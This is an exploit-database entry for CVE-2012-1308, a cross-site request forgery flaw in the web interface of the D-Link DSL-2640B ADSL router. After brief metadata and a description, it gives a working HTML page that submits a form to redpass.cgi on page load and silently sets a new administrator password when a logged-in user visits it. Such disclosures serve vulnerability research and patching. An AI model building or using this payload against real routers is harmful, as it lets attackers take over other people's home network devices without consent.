D-Link DSL-2640B ADSL Router - Cross-Site Request Forgery

Author: Ivano Binetti
type: webapps
platform: hardware
port: 
date_added: 2012-02-20 
date_updated: 2017-08-24 
verified: 0 
codes: OSVDB-80803;CVE-2012-1308 
tags: 
aliases:  
screenshot_url:  
application_url:

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date          : 19-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction

D-Link DSL-2640B is an ADSL Router using (also) a web management interface.


2)Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router
parameters and -among other things- to change default administrator("admin") password.

3)Exploit

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+